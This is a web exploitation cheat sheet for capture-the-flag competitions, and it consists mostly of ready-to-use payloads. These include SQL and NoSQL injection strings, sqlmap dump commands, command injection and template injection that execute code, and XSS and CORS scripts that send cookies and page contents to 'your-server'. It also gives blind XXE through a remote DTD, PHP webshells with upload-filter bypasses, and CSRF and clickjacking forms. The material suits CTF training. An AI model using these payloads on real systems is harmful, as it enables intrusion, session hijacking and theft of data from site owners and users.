

# WEB EXPLOITATION

CTF Cheat Sheet | All Techniques, Payloads & Tools

## 1. Authentication & Access

### Authentication Bypass

```
# SQL-based bypass in login form
Username: admin'--
Username: ' OR 1=1--
Username: admin' #
Password: anything

# Try default credentials first
admin:admin | admin:password | admin:1234 | test:test | guest:guest
```

*TIP: Always try default creds before any injection. Check page source for hidden username hints.*

### Broken Authentication

- Check if password reset token is predictable (sequential, timestamp-based)
- Try reusing old password reset links
- Check if email is case-sensitive: Admin@site.com vs admin@site.com
- Try registering with spaces: 'admin ' (with trailing space)
- Look for 'remember me' tokens in cookies — decode and tamper them

### Session Fixation

- Set session ID in URL before login: ?PHPSESSID=attacker\_value
- If server uses the attacker-supplied session after login — vulnerable
- Check if session ID changes after login (it should but often doesn't)

### Session Hijacking

```
# Steal cookie with XSS
<script>document.location='http://your-server/?c='+document.cookie</script>

# Check cookies in DevTools -> Application -> Cookies
# Look for: session, PHPSESSID, token, auth, jwt
# Decode base64 cookies: echo 'cookie' | base64 -d
```

### IDOR (Insecure Direct Object Reference)

```
# URL-based IDOR
https://site.com/user?id=1 -> change to id=2, id=0, id=admin
https://site.com/invoice/1234 -> try 1233, 1235

# Body/param IDOR
POST /api/profile {"user_id": 1} -> change to 2

# File IDOR
https://site.com/files/report_user1.pdf -> change to user2
```

*TIP: In CTFs, IDOR usually means changing an ID to access admin data or another user's flag.*

### Privilege Escalation

```
# Cookie manipulation
role=user -> role=admin
```

```
isAdmin=false -> isAdmin=true
level=1 -> level=99

# Parameter tampering
POST /update {"role": "user"} -> change to "admin"

# JWT role escalation (see JWT section below)
```

## 2. Injection Attacks

### SQL Injection (SQLi)

```
# Detection
' " ` ' ) " ) ' ) -- test these in any input

# Auth bypass
' OR '1'='1
' OR 1=1--
admin'--
' OR 1=1 LIMIT 1--

# UNION-based extraction (find column count first)
' ORDER BY 1-- ' ORDER BY 2-- (increase until error)
' UNION SELECT NULL-- ' UNION SELECT NULL,NULL--
' UNION SELECT 1,2,3--
' UNION SELECT table_name,2 FROM information schema.tables--
' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password FROM users--

# Error-based (MySQL)
' AND extractvalue(1,concat(0x7e,version()))--

# Blind SQLi
' AND 1=1-- (true) ' AND 1=2-- (false)

# Tools
sqlmap -u 'http://site.com/page?id=1' --dbs
sqlmap -u 'http://site.com/page?id=1' -D dbname --tables
sqlmap -u 'http://site.com/page?id=1' -D dbname -T users --dump
sqlmap -u URL --data='user=a&pass=b' --dbs # POST
sqlmap -u URL --cookie='session=abc' --level=3
```

### NoSQL Injection

```
# MongoDB login bypass
username[$ne]=invalid&password[$ne]=invalid
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$gt": ""}}

# Regex injection
{"username": {"$regex": "admin"}}
```

### Command Injection

```
# Test payloads (try in any field that 'runs' something)
; ls
| whoami
&& id
`id`
$(id)
```

```
# Get flag
; cat /flag.txt
| cat /flag
&& cat /etc/passwd

# Blind - ping your server or use time delay
; ping -c 3 your-ip
; sleep 5

# Bypass spaces
;cat${IFS}/flag.txt
;{cat,/flag.txt}

# Bypass blacklists
ca''t /flag.txt    c\at /flag.txt
```

## SSTI (Server-Side Template Injection)

```
# Detection - inject math expression
{{7*7}} -> if output is 49, vulnerable!
${7*7}
<%= 7*7 %>
#{{7*7}}

# Identify template engine
{{7*'7'}} -> Jinja2 = 7777777 | Twig = 49

# Jinja2 RCE (Python Flask)
{{'__.__class__.__mro__[1].__subclasses__()'}}
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}

# Twig RCE (PHP)
{{['id']|filter('system')}}
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}

# Freemarker (Java)
${"freemarker.template.utility.Execute"?new() ("id") }
```

**TIP:** Always test `{{7*7}}` first. If you see 49 in the output, you have SSTI.

## Code Injection

```
# PHP eval injection
system('id');
passthru('cat /flag.txt');
<?php system($_GET['cmd']); ?>

# Python eval
__import__('os').system('id')
```

## 3. Cross-Site Scripting (XSS)

### Reflected XSS

```
# Basic payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
```

```
# Bypass filters
<ScRiPt>alert(1)</ScRiPt>
<script>alert`1`</script>
<img src=x onerror="alert(1)">
javascript:alert(1)

# Steal cookie
<script>fetch('http://your-server/?c='+document.cookie)</script>
<script>document.location='http://your-server/?c='+document.cookie</script>

# Grab flag from page
<script>document.location='http://your-server/?d='+document.body.innerHTML</script>
```

## Stored XSS

```
# Same payloads as reflected – stored in DB, fires for every visitor
# Common injection points: comments, profile bios, usernames, messages

# If bot visits your XSS, steal the bot's cookie
<script>new Image().src='http://your-server/?c='+document.cookie</script>

# Read page and exfiltrate
<script>
  fetch('/flag').then(r=>r.text()).then(d=>
    fetch('http://your-server/?d='+btoa(d)))
</script>
```

## DOM-based XSS

```
# Vulnerable source: location.hash, location.search, document.referrer
# Vulnerable sinks: innerHTML, document.write, eval

# Example: site uses location.hash in innerHTML
http://site.com/#<img src=x onerror=alert(1)>

# Check JS for patterns like:
document.getElementById('x').innerHTML = location.hash
eval(location.search.substr(1))
```

**TIP:** In CTFs: look for a bot that visits URLs. Your goal is to make the bot send you its cookie with XSS.

## 4. File & Path Attacks

### LFI (Local File Inclusion)

```
# Basic
?page=../../../../etc/passwd
?file=../../../../etc/passwd
?include=../../../../etc/passwd

# Null byte (PHP < 5.3)
?page=../../../../etc/passwd%00
?page=../../../../etc/passwd\0

# PHP wrappers
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://input (POST body: <?php system('id'); ?>)
?page=data://text/plain;base64,PD9waHAgaGAgc3lzdGVtKCdpZCcpc29yA/Pg==
?page=expect://id

# Files to read
/etc/passwd
/etc/shadow
```

```
/flag.txt
/var/www/html/flag.txt
/proc/self/environ
/proc/self/cmdline
/var/log/apache2/access.log    (log poisoning)
C:\Windows\System32\drivers\etc\hosts    (Windows)
```

## RFI (Remote File Inclusion)

```
# Host malicious PHP on your server
?page=http://your-server/shell.php
?file=http://your-server/payload.txt

# Simple PHP webshell (host this)
<?php system($_GET['cmd']); ?>

# Requires: allow_url_include=On in PHP config
```

## Directory Traversal

```
# URL path traversal
/download?file=../../etc/passwd
/static/../../etc/passwd

# Encoded variants
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd    (double URL encode)
....//....//etc/passwd
..\..\..\windows\system32\drivers\etc\hosts

# Quick check list
/etc/passwd
/flag
/flag.txt
/home/user/flag.txt
```

# 5. Server-Side Attacks

---

## SSRF (Server-Side Request Forgery)

```
# Basic internal access
url=http://localhost/flag
url=http://127.0.0.1/admin
url=http://127.0.0.1:8080
url=http://0.0.0.0/flag

# Cloud metadata
url=http://169.254.169.254/latest/meta-data/    (AWS)
url=http://metadata.google.internal/computeMetadata/v1/    (GCP)
url=http://169.254.169.254/metadata/instance    (Azure)

# Bypass filters
url=http://2130706433/    (127.0.0.1 as int)
url=http://[:1]/
url=http://127.0.0.1.nip.io/
url=http://0/
url=http://spoofed.burpcollaborator.net    -> resolves to 127.0.0.1

# File read via SSRF
url=file:///etc/passwd
url=file:///flag.txt
```

## XXE (XML External Entity)

```
# Basic XXE - read files
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

# Read flag
<!ENTITY xxe SYSTEM "file:///flag.txt">

# SSRF via XXE
<!ENTITY xxe SYSTEM "http://internal-server/secret">

# Blind XXE - exfiltrate via DTD
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://your-server/evil.dtd">
%dtd;

# Where to inject: any XML input, SOAP endpoints, SVG upload, DOCX upload
```

*TIP: Look for Content-Type: application/xml or text/xml in requests. Change HTML form to XML and inject.*

## 6. Web Logic Issues

---

### Business Logic Flaws

- Negative quantities in shopping cart: qty=-1 (get refund / negative price)
- Price manipulation: change price field in POST request to 0.01
- Skip steps in multi-step process: jump directly to step 3 URL
- Apply coupon multiple times by replaying the request
- Transfer money to yourself: from\_account=yours&to\_account=yours
- Access admin features by directly visiting /admin, /staff, /manage

### Race Conditions

```
# Send same request many times simultaneously
# Use Burp Suite Turbo Intruder or:

# Python threading
import threading, requests
def send(): requests.post(url, data=payload)
[threading.Thread(target=send).start() for _ in range(20)]

# Common targets: coupon use, limited-use tokens, fund transfers
# Goal: use a resource more times than allowed
```

### Parameter Tampering

```
# Hidden form fields - change in DevTools or Burp
<input type='hidden' name='price' value='100'> -> change to 0
<input type='hidden' name='role' value='user'> -> admin

# HTTP Parameter Pollution
?role=user&role=admin (server may use last or first)

# Type juggling (PHP loose comparison)
password=true password=0 password[]=value
```

## 7. Security Misconfigurations

---

### Open Redirect

```
?redirect=http://evil.com
?url=http://evil.com
?next=http://evil.com
?goto=//evil.com

# Bypass filters
?url=http://evil.com%09
?url=http://trusted.com@evil.com
?url=///evil.com
?url=http://evil%2Ecom
```

### Directory Listing

```
# Check common paths
http://site.com/backup/
http://site.com/uploads/
http://site.com/files/
http://site.com/admin/
http://site.com/.git/

# .git exposure - extract source code
git-dumper http://site.com/.git/ output/
cd output && git log    # see commit history
git show HEAD          # see last commit changes
```

### Debug Endpoints

```
# Common debug/info endpoints to try
/phpinfo.php
/info.php
/debug
/console      (Python/Flask Werkzeug debug console)
/actuator     (Spring Boot)
/actuator/env
/actuator/heapdump
/.env         (environment variables - DB passwords!)
/config.php
/web.config
/robots.txt
/sitemap.xml
/.htaccess
```

### Misconfigured CORS

```
# Check response headers for:
Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

# Exploit: read cross-origin data with JS
fetch('http://vulnerable.com/flag', {credentials:'include'})
  .then(r => r.text())
  .then(d => fetch('http://your-server/?d=' + btoa(d)))
```

## 8. File Upload Issues

---

## Unrestricted File Upload

```
# Upload PHP webshell
File: shell.php
Content: <?php system($_GET['cmd']); ?>

# Then access it
http://site.com/uploads/shell.php?cmd=cat /flag.txt

# If .php blocked, try alternate extensions
.php5 .phtml .phar .php7 .shtml

# Double extension
shell.php.jpg shell.jpg.php
```

## File Type Bypass

```
# Change MIME type in Burp to image/jpeg while sending .php
Content-Type: image/jpeg

# Magic bytes bypass – prepend image header to PHP
GIF89a; <?php system($_GET['cmd']); ?>

# Rename file with valid image extension but PHP content
shell.jpg (Content-Type: image/jpeg, actual content: PHP code)

# .htaccess upload (if Apache)
Filename: .htaccess
Content: AddType application/x-httpd-php .jpg
# Now .jpg files execute as PHP!
```

*TIP: Use Burp Suite to intercept upload request and modify Content-Type and filename on the fly.*

## 9. Other Common Vulnerabilities

---

### CSRF (Cross-Site Request Forgery)

```
# Forge a request from victim's browser
<img src='http://bank.com/transfer?to=attacker&amount=1000'>

<form action='http://site.com/change-password' method='POST'>
  <input type='hidden' name='password' value='hacked'>
  <input type='submit'>
</form>
<script>document.forms[0].submit();</script>

# Check if CSRF token present – if not, vulnerable
# If token present but not validated, remove it and replay
```

### Clickjacking

```
# Overlay invisible iframe over decoy page
<style>iframe { opacity:0; position:absolute; top:0; left:0; width:100%; height:100%;
}</style>
<iframe src='http://victim.com/delete-account'></iframe>
<button>Click to win prize!</button>

# Check response header: X-Frame-Options: DENY/SAMEORIGIN = protected
```

### JWT Attacks

```
# JWT structure: header.payload.signature (base64 encoded, dot-separated)
```



```
# 1. Decode at jwt.io - check payload (role, admin, user_id)

# 2. Algorithm: none attack
# Change alg to 'none', remove signature, change payload
eyJhbGciOiJub251In0.eyJlc2VyIjojYWRTaW4ifQ.

# 3. Weak secret brute-force
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
python3 -c "import jwt; print(jwt.encode({'role':'admin'}, 'secret'))"

# 4. RS256 -> HS256 confusion
# Change alg from RS256 to HS256, sign with public key as secret

# 5. Common weak secrets to try
secret    password    123456    jwt_secret    your-256-bit-secret
```

## Prototype Pollution (JS)

```
# Test in URL params or JSON body
__proto__[isAdmin]=true
constructor[prototype][isAdmin]=true

# JSON body
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"role": "admin"}}}

# In CTFs: usually need to pollute a property checked for admin access
```

## 10. Quick Recon Checklist

*Do these steps in the first 2 minutes of any web challenge:*

| Step | Action                           | What to look for                            |
|------|----------------------------------|---------------------------------------------|
| 1    | Ctrl+U - view page source        | Hidden inputs, comments, credentials, flags |
| 2    | Check /robots.txt                | Disallowed paths often have the flag        |
| 3    | F12 DevTools → Network           | Hidden requests, tokens, API endpoints      |
| 4    | DevTools → Application → Cookies | Session tokens, JWTs, base64 values         |
| 5    | Try admin:admin login            | Unauthenticated or default creds            |
| 6    | Add ' to every input             | SQL errors = SQLi, template errors = SSTI   |
| 7    | Check /admin, /.git, /.env       | Exposed admin panels and secrets            |
| 8    | Check response headers           | CORS, CSP, X-Frame-Options hints            |

## 11. Tools Reference

| Tool              | Use For                     | Command / URL                       |
|-------------------|-----------------------------|-------------------------------------|
| <b>Burp Suite</b> | Intercept & modify requests | Set browser proxy to 127.0.0.1:8080 |
| <b>sqlmap</b>     | Automated SQLi              | sqlmap -u 'URL?id=1' --dbs          |
| <b>curl</b>       | Custom HTTP requests        | curl -X POST -d 'data' URL          |

|                   |                          |                                              |
|-------------------|--------------------------|----------------------------------------------|
| <b>jwt.io</b>     | Decode/forge JWTs        | jwt.io (browser)                             |
| <b>CyberChef</b>  | Encode/decode everything | gchq.github.io/CyberChef                     |
| <b>gobuster</b>   | Directory brute-force    | gobuster dir -u URL -w wordlist.txt          |
| <b>ffuf</b>       | Fuzzing                  | ffuf -u URL/FUZZ -w wordlist.txt             |
| <b>git-dumper</b> | Dump .git repos          | git-dumper http://site.com/.git/ out/        |
| <b>wfuzz</b>      | Parameter fuzzing        | wfuzz -c -z file,wordlist.txt<br>URL?id=FUZZ |